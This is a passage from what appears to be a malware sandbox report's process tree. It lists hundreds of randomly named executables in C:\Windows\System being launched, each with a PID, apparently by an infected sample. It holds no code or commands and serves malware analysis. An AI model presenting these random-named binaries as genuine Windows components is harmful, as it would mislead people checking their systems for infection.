  C:\Windows\System\iViywdS.exe
  2⤵
  PID:11688
- C:\Windows\System\rQoCJmu.exe
  C:\Windows\System\rQoCJmu.exe
  2⤵
  PID:11708
- C:\Windows\System\ErDpuCi.exe
  C:\Windows\System\ErDpuCi.exe
  2⤵
  PID:11740
- C:\Windows\System\sdhIlhL.exe
  C:\Windows\System\sdhIlhL.exe
  2⤵
  PID:11760
- C:\Windows\System\TKdXIyC.exe
  C:\Windows\System\TKdXIyC.exe
  2⤵
  PID:11792
- C:\Windows\System\gpwKtIs.exe
  C:\Windows\System\gpwKtIs.exe
  2⤵
  PID:11816
- C:\Windows\System\YmqQBGJ.exe
  C:\Windows\System\YmqQBGJ.exe
  2⤵
  PID:11836
- C:\Windows\System\cfErxVg.exe
  C:\Windows\System\cfErxVg.exe
  2⤵
  PID:11860
- C:\Windows\System\ovrsrif.exe
  C:\Windows\System\ovrsrif.exe
  2⤵
  PID:11888
- C:\Windows\System\pyEAciv.exe
  C:\Windows\System\pyEAciv.exe
  2⤵
  PID:11908
- C:\Windows\System\XlrSUPp.exe
  C:\Windows\System\XlrSUPp.exe
  2⤵
  PID:11932
- C:\Windows\System\nmmOGnh.exe
  C:\Windows\System\nmmOGnh.exe
  2⤵
  PID:11968
- C:\Windows\System\TJBAikO.exe
  C:\Windows\System\TJBAikO.exe
  2⤵
  PID:11996
- C:\Windows\System\BFcMAQT.exe
  C:\Windows\System\BFcMAQT.exe
  2⤵
  PID:12020
- C:\Windows\System\wAyxqCC.exe
  C:\Windows\System\wAyxqCC.exe
  2⤵
  PID:12040
- C:\Windows\System\OvwLfty.exe
  C:\Windows\System\OvwLfty.exe
  2⤵
  PID:12060
- C:\Windows\System\nwxToJq.exe
  C:\Windows\System\nwxToJq.exe
  2⤵
  PID:12080
- C:\Windows\System\bTHOCeE.exe
  C:\Windows\System\bTHOCeE.exe
  2⤵
  PID:12104
- C:\Windows\System\YPjAnrT.exe
  C:\Windows\System\YPjAnrT.exe
  2⤵
  PID:12128
- C:\Windows\System\ECZKyfL.exe
  C:\Windows\System\ECZKyfL.exe
  2⤵
  PID:12152
- C:\Windows\System\kdIkHee.exe
  C:\Windows\System\kdIkHee.exe
  2⤵
  PID:12168
- C:\Windows\System\niXPxdQ.exe
  C:\Windows\System\niXPxdQ.exe
  2⤵
  PID:12192
- C:\Windows\System\MHoQUle.exe
  C:\Windows\System\MHoQUle.exe
  2⤵
  PID:12220
- C:\Windows\System\dLIgyVh.exe
  C:\Windows\System\dLIgyVh.exe
  2⤵
  PID:12244
- C:\Windows\System\snxEubu.exe
  C:\Windows\System\snxEubu.exe
  2⤵
  PID:12276
- C:\Windows\System\PYdRNQp.exe
  C:\Windows\System\PYdRNQp.exe
  2⤵
  PID:10440
- C:\Windows\System\JBNHwva.exe
  C:\Windows\System\JBNHwva.exe
  2⤵
  PID:10496
- C:\Windows\System\LltcywU.exe
  C:\Windows\System\LltcywU.exe
  2⤵
  PID:6480
- C:\Windows\System\vppWzqb.exe
  C:\Windows\System\vppWzqb.exe
  2⤵
  PID:9560
- C:\Windows\System\aIISUgg.exe
  C:\Windows\System\aIISUgg.exe
  2⤵
  PID:10136
- C:\Windows\System\FbidoBB.exe
  C:\Windows\System\FbidoBB.exe
  2⤵
  PID:6440
- C:\Windows\System\CKznRMm.exe
  C:\Windows\System\CKznRMm.exe
  2⤵
  PID:10868
- C:\Windows\System\PDGVkwP.exe
  C:\Windows\System\PDGVkwP.exe
  2⤵
  PID:10936
- C:\Windows\System\EijiILo.exe
  C:\Windows\System\EijiILo.exe
  2⤵
  PID:10232
- C:\Windows\System\yxgQGKN.exe
  C:\Windows\System\yxgQGKN.exe
  2⤵
  PID:10348
- C:\Windows\System\OFnOxjj.exe
  C:\Windows\System\OFnOxjj.exe
  2⤵
  PID:10368
- C:\Windows\System\sWVgqcQ.exe
  C:\Windows\System\sWVgqcQ.exe
  2⤵
  PID:11272
- C:\Windows\System\rgtxIYe.exe
  C:\Windows\System\rgtxIYe.exe
  2⤵
  PID:6448
- C:\Windows\System\zfNvtNJ.exe
  C:\Windows\System\zfNvtNJ.exe
  2⤵
  PID:11196
- C:\Windows\System\mdkUDWJ.exe
  C:\Windows\System\mdkUDWJ.exe
  2⤵
  PID:11244
- C:\Windows\System\LwrhJez.exe
  C:\Windows\System\LwrhJez.exe
  2⤵
  PID:10708
- C:\Windows\System\qBNFFgx.exe
  C:\Windows\System\qBNFFgx.exe
  2⤵
  PID:10780
- C:\Windows\System\yvbQDPy.exe
  C:\Windows\System\yvbQDPy.exe
  2⤵
  PID:10816
- C:\Windows\System\YgkEwZd.exe
  C:\Windows\System\YgkEwZd.exe
  2⤵
  PID:11720
- C:\Windows\System\vNDCMOs.exe
  C:\Windows\System\vNDCMOs.exe
  2⤵
  PID:10888
- C:\Windows\System\APpixeF.exe
  C:\Windows\System\APpixeF.exe
  2⤵
  PID:10904
- C:\Windows\System\Hkqclxs.exe
  C:\Windows\System\Hkqclxs.exe
  2⤵
  PID:12296
- C:\Windows\System\NKBiQxh.exe
  C:\Windows\System\NKBiQxh.exe
  2⤵
  PID:12316
- C:\Windows\System\evCOImE.exe
  C:\Windows\System\evCOImE.exe
  2⤵
  PID:12336
- C:\Windows\System\WdRohdx.exe
  C:\Windows\System\WdRohdx.exe
  2⤵
  PID:12360
- C:\Windows\System\fJCqSBw.exe
  C:\Windows\System\fJCqSBw.exe
  2⤵
  PID:12384
- C:\Windows\System\jwmRlkz.exe
  C:\Windows\System\jwmRlkz.exe
  2⤵
  PID:12420
- C:\Windows\System\jELhCMQ.exe
  C:\Windows\System\jELhCMQ.exe
  2⤵
  PID:12448
- C:\Windows\System\YgkaXaa.exe
  C:\Windows\System\YgkaXaa.exe
  2⤵
  PID:12472
- C:\Windows\System\wsqjtpy.exe
  C:\Windows\System\wsqjtpy.exe
  2⤵
  PID:12492
- C:\Windows\System\RjVGlzr.exe
  C:\Windows\System\RjVGlzr.exe
  2⤵
  PID:12516
- C:\Windows\System\wVFmvKH.exe
  C:\Windows\System\wVFmvKH.exe
  2⤵
  PID:12540
- C:\Windows\System\OrJwNwJ.exe
  C:\Windows\System\OrJwNwJ.exe
  2⤵
  PID:12564
- C:\Windows\System\DbQnYkZ.exe
  C:\Windows\System\DbQnYkZ.exe
  2⤵
  PID:12792
- C:\Windows\System\HHjbZYJ.exe
  C:\Windows\System\HHjbZYJ.exe
  2⤵
  PID:12812
- C:\Windows\System\WmsTizR.exe
  C:\Windows\System\WmsTizR.exe
  2⤵
  PID:12836
- C:\Windows\System\LhWXKCc.exe
  C:\Windows\System\LhWXKCc.exe
  2⤵
  PID:12856
- C:\Windows\System\cYmlGXi.exe
  C:\Windows\System\cYmlGXi.exe
  2⤵
  PID:12888
- C:\Windows\System\wirASpx.exe
  C:\Windows\System\wirASpx.exe
  2⤵
  PID:12928
- C:\Windows\System\dLGGCEP.exe
  C:\Windows\System\dLGGCEP.exe
  2⤵
  PID:12944
- C:\Windows\System\bBOYIsJ.exe
  C:\Windows\System\bBOYIsJ.exe
  2⤵
  PID:12972
- C:\Windows\System\ZckwMlk.exe
  C:\Windows\System\ZckwMlk.exe
  2⤵
  PID:13000
- C:\Windows\System\IDTmqui.exe
  C:\Windows\System\IDTmqui.exe
  2⤵
  PID:13024
- C:\Windows\System\sxtMDDD.exe
  C:\Windows\System\sxtMDDD.exe
  2⤵
  PID:13060
- C:\Windows\System\NTvxHXx.exe
  C:\Windows\System\NTvxHXx.exe
  2⤵
  PID:12112
- C:\Windows\System\ZkKBIBo.exe
  C:\Windows\System\ZkKBIBo.exe
  2⤵
  PID:12456
- C:\Windows\System\ULoeGbm.exe
  C:\Windows\System\ULoeGbm.exe
  2⤵
  PID:12188
- C:\Windows\System\xELFaVQ.exe
  C:\Windows\System\xELFaVQ.exe
  2⤵
  PID:12232
- C:\Windows\System\rWHxJLA.exe
  C:\Windows\System\rWHxJLA.exe
  2⤵
  PID:10444
- C:\Windows\System\KnISiZQ.exe
  C:\Windows\System\KnISiZQ.exe
  2⤵
  PID:11156
- C:\Windows\System\JuLjrbn.exe
  C:\Windows\System\JuLjrbn.exe
  2⤵
  PID:8216
- C:\Windows\System\GkWsyKQ.exe
  C:\Windows\System\GkWsyKQ.exe
  2⤵
  PID:12644
- C:\Windows\System\QYoeUtC.exe
  C:\Windows\System\QYoeUtC.exe
  2⤵
  PID:11056
- C:\Windows\System\CCAcRsB.exe
  C:\Windows\System\CCAcRsB.exe
  2⤵
  PID:11300
- C:\Windows\System\hxDpFTz.exe
  C:\Windows\System\hxDpFTz.exe
  2⤵
  PID:12372
- C:\Windows\System\UHZDVGo.exe
  C:\Windows\System\UHZDVGo.exe
  2⤵
  PID:6976
- C:\Windows\System\yydXVlM.exe
  C:\Windows\System\yydXVlM.exe
  2⤵
  PID:12464
- C:\Windows\System\NTZPFIq.exe
  C:\Windows\System\NTZPFIq.exe
  2⤵
  PID:13272
- C:\Windows\System\UxMhPPr.exe
  C:\Windows\System\UxMhPPr.exe
  2⤵
  PID:13284
- C:\Windows\System\sAhMyKd.exe
  C:\Windows\System\sAhMyKd.exe
  2⤵
  PID:12864
- C:\Windows\System\iqYkLYg.exe
  C:\Windows\System\iqYkLYg.exe
  2⤵
  PID:13036
- C:\Windows\System\JPycxwE.exe
  C:\Windows\System\JPycxwE.exe
  2⤵
  PID:12672
- C:\Windows\System\xPizHqZ.exe
  C:\Windows\System\xPizHqZ.exe
  2⤵
  PID:12728
- C:\Windows\System\tJOCOeF.exe
  C:\Windows\System\tJOCOeF.exe
  2⤵
  PID:6620
- C:\Windows\System\yXSxyvI.exe
  C:\Windows\System\yXSxyvI.exe
  2⤵
  PID:13164
- C:\Windows\System\buvyqZt.exe
  C:\Windows\System\buvyqZt.exe
  2⤵
  PID:6908
- C:\Windows\System\UtVqymi.exe
  C:\Windows\System\UtVqymi.exe
  2⤵
  PID:13268
- C:\Windows\System\zlxLocc.exe
  C:\Windows\System\zlxLocc.exe
  2⤵
  PID:12848
- C:\Windows\System\vOsjLzH.exe
  C:\Windows\System\vOsjLzH.exe
  2⤵
  PID:6516
- C:\Windows\System\vZdlYkk.exe
  C:\Windows\System\vZdlYkk.exe
  2⤵
  PID:1236
- C:\Windows\System\UPyPSfQ.exe
  C:\Windows\System\UPyPSfQ.exe
  2⤵
  PID:12980
- C:\Windows\System\Qnozyef.exe
  C:\Windows\System\Qnozyef.exe
  2⤵
  PID:13016
- C:\Windows\System\sOEzUpn.exe
  C:\Windows\System\sOEzUpn.exe
  2⤵
  PID:3108
- C:\Windows\System\yDaBzzt.exe
  C:\Windows\System\yDaBzzt.exe
  2⤵
  PID:6596
- C:\Windows\System\XQwkcZz.exe
  C:\Windows\System\XQwkcZz.exe
  2⤵
  PID:11492
- C:\Windows\System\TDamTcf.exe
  C:\Windows\System\TDamTcf.exe
  2⤵
  PID:13092
- C:\Windows\System\kAaeGeq.exe
  C:\Windows\System\kAaeGeq.exe
  2⤵
  PID:7080
- C:\Windows\System\fUaXRyj.exe
  C:\Windows\System\fUaXRyj.exe
  2⤵
  PID:13176
- C:\Windows\System\smNRirh.exe
  C:\Windows\System\smNRirh.exe
  2⤵
  PID:9748
- C:\Windows\System\xpGeyPO.exe
  C:\Windows\System\xpGeyPO.exe
  2⤵
  PID:13252
- C:\Windows\System\vBWTxHc.exe
  C:\Windows\System\vBWTxHc.exe
  2⤵
  PID:13304
- C:\Windows\System\qfzYScs.exe
  C:\Windows\System\qfzYScs.exe
  2⤵
  PID:11472
- C:\Windows\System\KSiYGoa.exe
  C:\Windows\System\KSiYGoa.exe
  2⤵
  PID:6668
- C:\Windows\System\SvzZYpj.exe
  C:\Windows\System\SvzZYpj.exe
  2⤵
  PID:11172
- C:\Windows\System\oaWYlsF.exe
  C:\Windows\System\oaWYlsF.exe
  2⤵
  PID:6708
- C:\Windows\System\iqkCvlf.exe
  C:\Windows\System\iqkCvlf.exe
  2⤵
  PID:11644
- C:\Windows\System\soCDnvl.exe
  C:\Windows\System\soCDnvl.exe
  2⤵
  PID:11756
- C:\Windows\System\SDUdVuB.exe
  C:\Windows\System\SDUdVuB.exe
  2⤵
  PID:10800
- C:\Windows\System\lwapWoN.exe
  C:\Windows\System\lwapWoN.exe
  2⤵
  PID:12100
- C:\Windows\System\PfpakkO.exe
  C:\Windows\System\PfpakkO.exe
  2⤵
  PID:12124
- C:\Windows\System\gTthApg.exe
  C:\Windows\System\gTthApg.exe
  2⤵
  PID:12876
- C:\Windows\System\uUGbImY.exe
  C:\Windows\System\uUGbImY.exe
  2⤵
  PID:10392
- C:\Windows\System\GWfySgl.exe
  C:\Windows\System\GWfySgl.exe
  2⤵
  PID:6924
- C:\Windows\System\hiWpVSY.exe
  C:\Windows\System\hiWpVSY.exe
  2⤵
  PID:12908
- C:\Windows\System\nIXDdeQ.exe
  C:\Windows\System\nIXDdeQ.exe
  2⤵
  PID:12660
- C:\Windows\System\aTxRJiq.exe
  C:\Windows\System\aTxRJiq.exe
  2⤵
  PID:13144
- C:\Windows\System\rnCuhZK.exe
  C:\Windows\System\rnCuhZK.exe
  2⤵
  PID:12500
- C:\Windows\System\SOVuDDJ.exe
  C:\Windows\System\SOVuDDJ.exe
  2⤵
  PID:6460
- C:\Windows\System\zWeQiyS.exe
  C:\Windows\System\zWeQiyS.exe
  2⤵
  PID:12052
- C:\Windows\System\zluAIFn.exe
  C:\Windows\System\zluAIFn.exe
  2⤵
  PID:12284
- C:\Windows\System\FXRUTZP.exe
  C:\Windows\System\FXRUTZP.exe
  2⤵
  PID:10552
- C:\Windows\System\AjFlEfv.exe
  C:\Windows\System\AjFlEfv.exe
  2⤵
  PID:13096
- C:\Windows\System\CqQAtQK.exe
  C:\Windows\System\CqQAtQK.exe
  2⤵
  PID:13328
- C:\Windows\System\hyVcMFX.exe
  C:\Windows\System\hyVcMFX.exe
  2⤵
  PID:13352
- C:\Windows\System\zFtlqGk.exe
  C:\Windows\System\zFtlqGk.exe
  2⤵
  PID:13368
- C:\Windows\System\DrOeksx.exe
  C:\Windows\System\DrOeksx.exe
  2⤵
  PID:13384
- C:\Windows\System\DCUYzZy.exe
  C:\Windows\System\DCUYzZy.exe
  2⤵
  PID:13400
- C:\Windows\System\VjbXbic.exe
  C:\Windows\System\VjbXbic.exe
  2⤵
  PID:13416
- C:\Windows\System\KKlcFIA.exe
  C:\Windows\System\KKlcFIA.exe
  2⤵
  PID:13436
- C:\Windows\System\oSWzopW.exe
  C:\Windows\System\oSWzopW.exe
  2⤵
  PID:13456
- C:\Windows\System\siVodaL.exe
  C:\Windows\System\siVodaL.exe
  2⤵
  PID:13480
- C:\Windows\System\hFWkKWk.exe
  C:\Windows\System\hFWkKWk.exe
  2⤵
  PID:13504
- C:\Windows\System\bLxUAUN.exe
  C:\Windows\System\bLxUAUN.exe
  2⤵
  PID:13528
- C:\Windows\System\eDfpLGe.exe
  C:\Windows\System\eDfpLGe.exe
  2⤵
  PID:13556
- C:\Windows\System\OLfmhhW.exe
  C:\Windows\System\OLfmhhW.exe
  2⤵
  PID:13584
- C:\Windows\System\ilVKXpb.exe
  C:\Windows\System\ilVKXpb.exe
  2⤵
  PID:13604
- C:\Windows\System\pjtcaMv.exe
  C:\Windows\System\pjtcaMv.exe
  2⤵
  PID:13640
- C:\Windows\System\bbCzNJY.exe
  C:\Windows\System\bbCzNJY.exe
  2⤵
  PID:13664
- C:\Windows\System\MmGZSlu.exe
  C:\Windows\System\MmGZSlu.exe
  2⤵
  PID:13696
- C:\Windows\System\fVMhSqs.exe
  C:\Windows\System\fVMhSqs.exe
  2⤵
  PID:13724
- C:\Windows\System\VINrfFw.exe
  C:\Windows\System\VINrfFw.exe
  2⤵
  PID:13744
- C:\Windows\System\nJNpTpN.exe
  C:\Windows\System\nJNpTpN.exe
  2⤵
  PID:13764
- C:\Windows\System\PtmBIeh.exe
  C:\Windows\System\PtmBIeh.exe
  2⤵
  PID:13792
- C:\Windows\System\JtEvsmH.exe
  C:\Windows\System\JtEvsmH.exe
  2⤵
  PID:13812
- C:\Windows\System\nWkuXqy.exe
  C:\Windows\System\nWkuXqy.exe
  2⤵
  PID:13832
- C:\Windows\System\VDjoGtk.exe
  C:\Windows\System\VDjoGtk.exe
  2⤵
  PID:13864
- C:\Windows\System\BZRtfqU.exe
  C:\Windows\System\BZRtfqU.exe
  2⤵
  PID:13892
- C:\Windows\System\FTiiOWa.exe
  C:\Windows\System\FTiiOWa.exe
  2⤵
  PID:13912
- C:\Windows\System\SYhUizX.exe
  C:\Windows\System\SYhUizX.exe
  2⤵
  PID:13936
- C:\Windows\System\XUqvDgo.exe
  C:\Windows\System\XUqvDgo.exe
  2⤵
  PID:13956
- C:\Windows\System\keBFDTF.exe
  C:\Windows\System\keBFDTF.exe
  2⤵
  PID:13984
- C:\Windows\System\krzyYGV.exe
  C:\Windows\System\krzyYGV.exe
  2⤵
  PID:14008
- C:\Windows\System\iATRXzA.exe
  C:\Windows\System\iATRXzA.exe
  2⤵
  PID:14028
- C:\Windows\System\DgwpAAy.exe
  C:\Windows\System\DgwpAAy.exe
  2⤵
  PID:14056
- C:\Windows\System\zeGmGVM.exe
  C:\Windows\System\zeGmGVM.exe
  2⤵
  PID:14080
- C:\Windows\System\IfKTtWN.exe
  C:\Windows\System\IfKTtWN.exe
  2⤵
  PID:14096
- C:\Windows\System\sZyMXbt.exe
  C:\Windows\System\sZyMXbt.exe
  2⤵
  PID:14224
- C:\Windows\System\OrJgDwr.exe
  C:\Windows\System\OrJgDwr.exe
  2⤵
  PID:14244
- C:\Windows\System\nCGzoxM.exe
  C:\Windows\System\nCGzoxM.exe
  2⤵
  PID:14260
- C:\Windows\System\GiUjHEp.exe
  C:\Windows\System\GiUjHEp.exe
  2⤵
  PID:14280
- C:\Windows\System\joSQpag.exe
  C:\Windows\System\joSQpag.exe
  2⤵
  PID:14300
- C:\Windows\System\uEkPhhM.exe
  C:\Windows\System\uEkPhhM.exe
  2⤵
  PID:14316
- C:\Windows\System\OuUcBoR.exe
  C:\Windows\System\OuUcBoR.exe
  2⤵
  PID:14332
- C:\Windows\System\jqGFJBa.exe
  C:\Windows\System\jqGFJBa.exe
  2⤵
  PID:13112
- C:\Windows\System\xTkIcvb.exe
  C:\Windows\System\xTkIcvb.exe
  2⤵
  PID:10648
- C:\Windows\System\DmZaJmu.exe
  C:\Windows\System\DmZaJmu.exe
  2⤵
  PID:7060
- C:\Windows\System\WMhdMxM.exe
  C:\Windows\System\WMhdMxM.exe
  2⤵
  PID:12884
- C:\Windows\System\SbJALHA.exe
  C:\Windows\System\SbJALHA.exe
  2⤵
  PID:13008
- C:\Windows\System\jmyfdMP.exe
  C:\Windows\System\jmyfdMP.exe
  2⤵
  PID:11844
- C:\Windows\System\NThzRXo.exe
  C:\Windows\System\NThzRXo.exe
  2⤵
  PID:13348
- C:\Windows\System\kzojhld.exe
  C:\Windows\System\kzojhld.exe
  2⤵
  PID:2444
- C:\Windows\System\Iweyrpo.exe
  C:\Windows\System\Iweyrpo.exe
  2⤵
  PID:1256
- C:\Windows\System\RRFEgrN.exe
  C:\Windows\System\RRFEgrN.exe
  2⤵
  PID:6900
- C:\Windows\System\bGFixrG.exe
  C:\Windows\System\bGFixrG.exe
  2⤵
  PID:2368
- C:\Windows\System\MLrloRW.exe
  C:\Windows\System\MLrloRW.exe
  2⤵
  PID:12088
- C:\Windows\System\Oymjhkt.exe
  C:\Windows\System\Oymjhkt.exe
  2⤵
  PID:9964
- C:\Windows\System\OdtOONN.exe
  C:\Windows\System\OdtOONN.exe
  2⤵
  PID:12684
- C:\Windows\System\hJNQLGO.exe
  C:\Windows\System\hJNQLGO.exe
  2⤵
  PID:7004
- C:\Windows\System\mwfqkMu.exe
  C:\Windows\System\mwfqkMu.exe
  2⤵
  PID:13624
- C:\Windows\System\PdpFHgg.exe
  C:\Windows\System\PdpFHgg.exe
  2⤵
  PID:3668
- C:\Windows\System\NBGLBzn.exe
  C:\Windows\System\NBGLBzn.exe
  2⤵
  PID:12560
- C:\Windows\System\qDHLtZI.exe
  C:\Windows\System\qDHLtZI.exe
  2⤵
  PID:744
- C:\Windows\System\ygQdfNI.exe
  C:\Windows\System\ygQdfNI.exe
  2⤵
  PID:13684
- C:\Windows\System\wyrjVDT.exe
  C:\Windows\System\wyrjVDT.exe
  2⤵
  PID:13736
- C:\Windows\System\ShwDJjx.exe
  C:\Windows\System\ShwDJjx.exe
  2⤵
  PID:13760
- C:\Windows\System\FpHGWQt.exe
  C:\Windows\System\FpHGWQt.exe
  2⤵
  PID:13320
- C:\Windows\System\mITyrzW.exe
  C:\Windows\System\mITyrzW.exe
  2⤵
  PID:13360
- C:\Windows\System\BkReHkD.exe
  C:\Windows\System\BkReHkD.exe
  2⤵
  PID:13392
- C:\Windows\System\AuCJjkS.exe
  C:\Windows\System\AuCJjkS.exe
  2⤵
  PID:13444
- C:\Windows\System\KIWHLcR.exe
  C:\Windows\System\KIWHLcR.exe
  2⤵
  PID:14324
- C:\Windows\System\xltsByo.exe
  C:\Windows\System\xltsByo.exe
  2⤵
  PID:14140
- C:\Windows\System\CDupDIU.exe
  C:\Windows\System\CDupDIU.exe
  2⤵
  PID:13496
- C:\Windows\System\pUrNIXp.exe
  C:\Windows\System\pUrNIXp.exe
  2⤵
  PID:5000
- C:\Windows\System\CNVjxDN.exe
  C:\Windows\System\CNVjxDN.exe
  2⤵
  PID:3912
- C:\Windows\System\hiZqaMB.exe
  C:\Windows\System\hiZqaMB.exe
  2⤵
  PID:12184
- C:\Windows\System\beZnOyU.exe
  C:\Windows\System\beZnOyU.exe
  2⤵
  PID:11360
- C:\Windows\System\XuwLaaK.exe
  C:\Windows\System\XuwLaaK.exe
  2⤵
  PID:14380
- C:\Windows\System\vZgTHUU.exe
  C:\Windows\System\vZgTHUU.exe
  2⤵
  PID:14440
- C:\Windows\System\SnnaTVj.exe
  C:\Windows\System\SnnaTVj.exe
  2⤵
  PID:14468
- C:\Windows\System\noSgMAA.exe
  C:\Windows\System\noSgMAA.exe
  2⤵
  PID:14496
- C:\Windows\System\paNMEJS.exe
  C:\Windows\System\paNMEJS.exe
  2⤵
  PID:14524
- C:\Windows\System\DhbgmEG.exe
  C:\Windows\System\DhbgmEG.exe
  2⤵
  PID:14544
- C:\Windows\System\YVUgRXy.exe
  C:\Windows\System\YVUgRXy.exe
  2⤵
  PID:14564
- C:\Windows\System\VbIYZHZ.exe
  C:\Windows\System\VbIYZHZ.exe
  2⤵
  PID:14584
- C:\Windows\System\Fcaizof.exe
  C:\Windows\System\Fcaizof.exe
  2⤵
  PID:14604
- C:\Windows\System\GtSymTI.exe
  C:\Windows\System\GtSymTI.exe
  2⤵
  PID:14632
- C:\Windows\System\gNAubTY.exe
  C:\Windows\System\gNAubTY.exe
  2⤵
  PID:14656
- C:\Windows\System\nIltkyR.exe
  C:\Windows\System\nIltkyR.exe
  2⤵
  PID:14672
- C:\Windows\System\fPMKjJx.exe
  C:\Windows\System\fPMKjJx.exe
  2⤵
  PID:14692
- C:\Windows\System\wYQuAIO.exe
  C:\Windows\System\wYQuAIO.exe
  2⤵
  PID:14720
- C:\Windows\System\CZailzM.exe
  C:\Windows\System\CZailzM.exe
  2⤵
  PID:14748
- C:\Windows\System\HJaWmFM.exe
  C:\Windows\System\HJaWmFM.exe
  2⤵
  PID:14772
- C:\Windows\System\GnlGxmu.exe
  C:\Windows\System\GnlGxmu.exe
  2⤵
  PID:14816
- C:\Windows\System\joPBeaj.exe
  C:\Windows\System\joPBeaj.exe
  2⤵
  PID:14836
- C:\Windows\System\qCBZtqz.exe
  C:\Windows\System\qCBZtqz.exe
  2⤵
  PID:14860
- C:\Windows\System\WqadyYC.exe
  C:\Windows\System\WqadyYC.exe
  2⤵
  PID:14880
- C:\Windows\System\uQIglQp.exe
  C:\Windows\System\uQIglQp.exe
  2⤵
  PID:14912
- C:\Windows\System\CpOoIob.exe
  C:\Windows\System\CpOoIob.exe
  2⤵
  PID:14960
- C:\Windows\System\DVVpizO.exe
  C:\Windows\System\DVVpizO.exe
  2⤵
  PID:14980
- C:\Windows\System\nTcolwu.exe
  C:\Windows\System\nTcolwu.exe
  2⤵
  PID:15104
- C:\Windows\System\ejfkGsm.exe
  C:\Windows\System\ejfkGsm.exe
  2⤵
  PID:15144
- C:\Windows\System\AvWzdjR.exe
  C:\Windows\System\AvWzdjR.exe
  2⤵
  PID:15168
- C:\Windows\System\OHRDMUH.exe
  C:\Windows\System\OHRDMUH.exe
  2⤵
  PID:15248
- C:\Windows\System\tJPzrRF.exe
  C:\Windows\System\tJPzrRF.exe
  2⤵
  PID:15356
- C:\Windows\System\pQlOdcW.exe
  C:\Windows\System\pQlOdcW.exe
  2⤵
  PID:448
- C:\Windows\System\VEZYqtV.exe
  C:\Windows\System\VEZYqtV.exe
  2⤵
  PID:6396
- C:\Windows\System\EzcCiIi.exe
  C:\Windows\System\EzcCiIi.exe
  2⤵
  PID:5300
- C:\Windows\System\CDrSrMV.exe
  C:\Windows\System\CDrSrMV.exe
  2⤵
  PID:14372
- C:\Windows\System\iYUAKHG.exe
  C:\Windows\System\iYUAKHG.exe
  2⤵
  PID:15056
- C:\Windows\System\mEODIhC.exe
  C:\Windows\System\mEODIhC.exe
  2⤵
  PID:15184
- C:\Windows\System\aFOlfIc.exe
  C:\Windows\System\aFOlfIc.exe
  2⤵
  PID:14680
- C:\Windows\System\ZIFlDCV.exe
  C:\Windows\System\ZIFlDCV.exe
  2⤵
  PID:14952
- C:\Windows\System\nowGIyI.exe
  C:\Windows\System\nowGIyI.exe
  2⤵
  PID:15000
- C:\Windows\System\VJQOjqa.exe
  C:\Windows\System\VJQOjqa.exe
  2⤵
  PID:15044
- C:\Windows\System\EoRmCOO.exe
  C:\Windows\System\EoRmCOO.exe
  2⤵
  PID:14780
- C:\Windows\System\pLHAOCj.exe
  C:\Windows\System\pLHAOCj.exe
  2⤵
  PID:15312
- C:\Windows\System\PzxyaNJ.exe
  C:\Windows\System\PzxyaNJ.exe
  2⤵
  PID:15176
- C:\Windows\System\xPjjEhJ.exe
  C:\Windows\System\xPjjEhJ.exe
  2⤵
  PID:14908
- C:\Windows\System\WzCWtxy.exe
  C:\Windows\System\WzCWtxy.exe
  2⤵
  PID:14940
- C:\Windows\System\DqsAwln.exe
  C:\Windows\System\DqsAwln.exe
  2⤵
  PID:4204
- C:\Windows\System\gtFBRLP.exe
  C:\Windows\System\gtFBRLP.exe
  2⤵
  PID:4568
- C:\Windows\System\ZkRAlIg.exe
  C:\Windows\System\ZkRAlIg.exe
  2⤵
  PID:15016
- C:\Windows\System\ovsGqzR.exe
  C:\Windows\System\ovsGqzR.exe
  2⤵
  PID:15072
- C:\Windows\System\NkOXdTA.exe
  C:\Windows\System\NkOXdTA.exe
  2⤵
  PID:15140
- C:\Windows\System\UxqdbtA.exe
  C:\Windows\System\UxqdbtA.exe
  2⤵
  PID:13776
- C:\Windows\System\qnipYuM.exe
  C:\Windows\System\qnipYuM.exe
  2⤵
  PID:9676
- C:\Windows\System\MoXGAcL.exe
  C:\Windows\System\MoXGAcL.exe
  2⤵
  PID:13536
- C:\Windows\System\hxNWjNw.exe
  C:\Windows\System\hxNWjNw.exe
  2⤵
  PID:14976
- C:\Windows\System\FLgRSTJ.exe
  C:\Windows\System\FLgRSTJ.exe
  2⤵
  PID:14784
- C:\Windows\System\UwFcCQU.exe
  C:\Windows\System\UwFcCQU.exe
  2⤵
  PID:15036
- C:\Windows\System\lfudsVj.exe
  C:\Windows\System\lfudsVj.exe
  2⤵
  PID:10212
- C:\Windows\System\QfnUMrz.exe
  C:\Windows\System\QfnUMrz.exe
  2⤵
  PID:15156
- C:\Windows\System\rEVEHlT.exe
  C:\Windows\System\rEVEHlT.exe
  2⤵
  PID:2072
- C:\Windows\System\qMHmnGg.exe
  C:\Windows\System\qMHmnGg.exe
  2⤵
  PID:7960
- C:\Windows\System\OdQvxps.exe
  C:\Windows\System\OdQvxps.exe
  2⤵
  PID:15296
- C:\Windows\System\EsGGmSe.exe
  C:\Windows\System\EsGGmSe.exe
  2⤵
  PID:13476
- C:\Windows\System\NapfUtV.exe
  C:\Windows\System\NapfUtV.exe
  2⤵
  PID:14620
- C:\Windows\System\JAiLlsU.exe
  C:\Windows\System\JAiLlsU.exe
  2⤵
  PID:14236
- C:\Windows\System\vHuguMM.exe
  C:\Windows\System\vHuguMM.exe
  2⤵
  PID:14540
- C:\Windows\System\rDUSGag.exe
  C:\Windows\System\rDUSGag.exe
  2⤵
  PID:5256
- C:\Windows\System\yxziDmY.exe
  C:\Windows\System\yxziDmY.exe
  2⤵
  PID:2716
- C:\Windows\System\MQnbzFk.exe
  C:\Windows\System\MQnbzFk.exe
  2⤵
  PID:7188
- C:\Windows\System\epdqZAo.exe
  C:\Windows\System\epdqZAo.exe
  2⤵
  PID:15236
- C:\Windows\System\mQUZMbE.exe
  C:\Windows\System\mQUZMbE.exe
  2⤵
  PID:612
- C:\Windows\System\lITyKMx.exe
  C:\Windows\System\lITyKMx.exe
  2⤵
  PID:3760
- C:\Windows\System\GyUJwJk.exe
  C:\Windows\System\GyUJwJk.exe
  2⤵
  PID:5096
- C:\Windows\System\gwxbSbM.exe
  C:\Windows\System\gwxbSbM.exe
  2⤵
  PID:6228
- C:\Windows\System\fxHKjlY.exe
  C:\Windows\System\fxHKjlY.exe
  2⤵
  PID:7396
- C:\Windows\System\ZRrajaZ.exe
  C:\Windows\System\ZRrajaZ.exe
  2⤵
  PID:8448
- C:\Windows\System\VLKBMlN.exe
  C:\Windows\System\VLKBMlN.exe
  2⤵
  PID:14572
- C:\Windows\System\UpRtvcO.exe
  C:\Windows\System\UpRtvcO.exe
  2⤵
  PID:7552
